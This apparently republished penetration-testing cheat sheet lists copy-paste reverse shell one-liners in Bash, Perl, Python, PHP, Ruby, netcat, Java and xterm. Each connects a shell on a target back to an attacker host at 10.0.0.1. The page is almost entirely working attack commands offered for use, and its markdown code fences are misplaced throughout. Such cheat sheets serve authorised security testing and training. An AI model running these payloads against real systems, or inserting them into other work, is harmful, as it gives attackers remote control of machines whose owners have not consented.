# Hackers - Reverse Shell Cheat Sheets

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterward you’ll probably want an interactive shell. If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either throwing back a reverse shell or binding a shell to a TCP port. This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute \`\`\` “/bin/sh -i”

```plaintext
Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 16.10):
```

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

```plaintext

PERL: Here’s a shorter, feature-free version of the Perl-reverse-shell:
```

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF\_INET,SOCK\_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr\_in($p,inet\_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

```plaintext

There’s also an alternative PERL revere shell here.

Python This was tested under Linux / Python 2.7:
```

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'

```plaintext

PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…
```

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

```plaintext

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby
```

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to\_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

```plaintext

Netcat: Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
```

nc -e /bin/sh 10.0.0.1 1234

```plaintext

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
```

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

```plaintext

Java
```

r = Runtime.getRuntime() p = r.exec(\["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"\] as String\[\]) p.waitFor()

```plaintext

[Untested submission from an anonymous reader]

xterm

One of the simplest forms of the reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.
```

xterm -display 10.0.0.1:1

```plaintext

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorize the target to connect to you (the command also runs on your host):
```

xhost +targetip